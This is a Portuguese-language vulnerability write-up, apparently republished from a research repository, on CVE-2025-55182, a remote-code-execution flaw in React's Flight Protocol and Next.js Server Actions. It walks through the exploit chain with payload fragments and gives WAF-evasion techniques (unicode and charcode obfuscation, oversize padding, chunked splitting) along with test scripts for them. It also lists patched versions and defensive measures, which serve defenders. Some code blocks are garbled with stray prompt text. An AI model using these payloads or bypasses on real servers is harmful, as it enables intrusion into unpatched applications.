CVE-2025-55182-research

Prova de conceito técnica e análise aprofundada da CVE-2025-55182, uma vulnerabilidade crítica de RCE no Flight Protocol do React por meio de path traversal, injeção de chunks falsos e abuso do manipulador $B.

Fluxo de Exploração```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

Thenable Auto-referencial (then)

O then: "$1:__proto__:then" cria uma auto-referência que resolve para uma função real:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) usa this._response - o _response falso do atacante:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

Estágio 1: O then autorreferencial do objeto externo aciona o processamento de chunk

Estágio 2: Quando o React resolve o modelo, ele analisa value e encontra outro thenable com then: "$B1337". O prefixo $B aciona o manipulador:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

O código interno do React pode acessar response._chunks.get() ou response._chunks.has() durante o processamento. Um Map vazio satisfaz essas chamadas sem erros, permitindo que a execução alcance o manipulador $B vulnerável.

Caminhos de Código Vulneráveis

decodeReply() é o ponto de entrada, não vulnerável por si só.

Path Traversal (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B Manipulador RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty check in getOutlinedModel() - Bloqueia a travessia de protótipos ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. Manipulação de __proto__ em reviveModel() - Previne poluição de protótipo ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. Verificação de tipo em initializeModelChunk() - Valida ouvintes ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

Impacto e Versões

Avaliação de Impacto

Versões Afetadas

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: Mesmas versões
• Next.js: 15.x, 16.x (antes dos patches), canários a partir de 14.3.0-canary.77+

Versões Corrigidas

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Por que a Detecção Baseada em Assinaturas do WAF Falha

Esta seção explica por que regras tradicionais de correspondência de padrões de WAF não conseguem detectar esta exploração de forma confiável. Compreender essas limitações é essencial para as equipes de segurança que avaliam sua postura defensiva.

O Problema Central: Codificação em Múltiplas Camadas

O payload de exploração passa por vários analisadores sintáticos, cada um com suporte de codificação diferente. Um WAF inspecionando bytes HTTP brutos vê strings codificadas, mas o servidor as decodifica antes de processá-las:

Isso cria uma incompatibilidade fundamental: o WAF vê bytes codificados, mas a aplicação vê strings decodificadas.

O Que as Assinaturas Precisariam Corresponder

Um WAF ingênuo pode procurar por padrões como constructor, __proto__, resolved_model ou child_process. No entanto, JSON permite escapes unicode para qualquer caractere:

O código JavaScript dentro do payload tem ainda mais opções de codificação:

A Lacuna de Detecção

Quando todas as técnicas de codificação são combinadas:

• Chaves JSON tornam-se sequências unicode (\u0074\u0068\u0065\u006e para then)
• Identificadores JS tornam-se arrays numéricos (S(99,104,105,108,100,95,...) para child_process)
• O payload bruto contém zero palavras-chave reconhecíveis

Um WAF escaneando o corpo HTTP vê apenas sequências de escape e números — nada que corresponda a assinaturas de ataque tradicionais.

Por que Isso Importa para Defensores

1. Regras baseadas em assinaturas fornecem falsa confiança — O payload chega ao servidor sem ser detectado
2. A codificação é infinita — Cada caractere pode ser escapado de forma diferente; regex não pode enumerar todas as variantes
3. O ataque é compatível com o protocolo — Todas as codificações são JSON/JavaScript válidos por especificação

Considerações de Detecção de Cabeçalhos

O cabeçalho Next-Action identifica requisições de Server Actions. Embora nomes de cabeçalhos não possam ser codificados em unicode (RFC 7230 exige tokens ASCII), diferenças de normalização entre WAF e servidor criam lacunas de detecção:

Recomendações Defensivas

A aplicação de patches é a única mitigação confiável. Regras de WAF não podem bloquear este ataque de forma abrangente devido à flexibilidade de codificação.

Versões necessárias:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Se o patch for adiado, considere:

1. Decodificar antes de corresponder — O WAF deve decodificar \uXXXX, \xXX e normalizar chamadas fromCharCode() antes da correspondência de padrões
2. Detecção estrutural — Procure por estruturas JSON contendo _response, _prefix, _chunks ou referências circulares ($@0)
3. Normalização de cabeçalhos — Corresponder ao cabeçalho next-action de forma case-insensitive com remoção de espaços em branco
4. Bloquear Server Actions — Se não usar Server Actions, bloqueie requisições com o cabeçalho Next-Action inteiramente
5. Monitoramento em tempo de execução — Alertar sobre chamadas Function() com argumentos de string dinâmicos

Conclusão principal: A correspondência de padrões sozinha falhará contra esta classe de ataque. A superfície de codificação é grande demais para ser enumerada.

Bypass dos Limites de Inspeção do Corpo no AWS WAF

Mesmo com regras abrangentes de WAF, o AWS WAF possui limites de tamanho de inspeção do corpo que podem ser explorados. Esta seção documenta técnicas de bypass testadas usando payloads superdimensionados.

Limites de Inspeção do Corpo

O AWS WAF inspeciona apenas uma parte do corpo da requisição:

O Problema do OversizeHandling

Regras de WAF especificam como lidar com requisições que excedem os limites de inspeção:

Se sua regra de WAF usa OversizeHandling: CONTINUE (padrão comum), o bypass é trivial.

Estratégia de Bypass: Preenchimento Antes do Payload

Coloque dados de preenchimento inofensivos antes do payload de exploração para que ele fique fora da janela de inspeção:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

Padrão dividido entre partes:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

Considerações sobre Comportamento do WAF

Nota: O AWS WAF normalmente remonta corpos fragmentados (chunked) antes da inspeção. No entanto, isso deve ser verificado por ambiente, pois as configurações variam.

Recomendações de Mitigação

1. Alterar OversizeHandling para MATCH ```json "OversizeHandling": "MATCH"
   root@kitploit:~

Isso bloqueia qualquer solicitação que exceda o limite de inspeção quando as condições da regra são atendidas.

2. Aumentar o limite de inspeção do corpo (apenas CloudFront/API Gateway) Configure até 64 KB nas configurações da ACL web, mas isso não impede totalmente o bypass.

3. Adicionar regra de bloqueio baseada em tamanho Bloquear requisições POST com cabeçalho Next-Action que excedam um tamanho razoável (ex.: 10 KB).

4. Corrigir a aplicação - A única solução completa.

Scripts de Teste

Veja os scripts de teste incluídos:

• test-simple.cjs - Teste de carga útil não fragmentada (baseline)
• test-oversize.cjs - Testa tamanhos de padding de 0 a 128 KB
• test-chunked-v2.cjs - Codificação de transferência fragmentada com separação por $@
• test-chunked-bypass.cjs - Múltiplas estratégias de fragmentação (5 bytes, 10 bytes, divisões por padrões)

Uso:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

Com payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

Caminhos Bloqueados que Tentamos

Embora tenhamos obtido Function, alcançar RCE requer chamá-la com argumentos controlados. Estes caminhos falharam:

1. Caminho Thenable (Bloqueado)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. Caminho do Iterador (Bloqueado)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute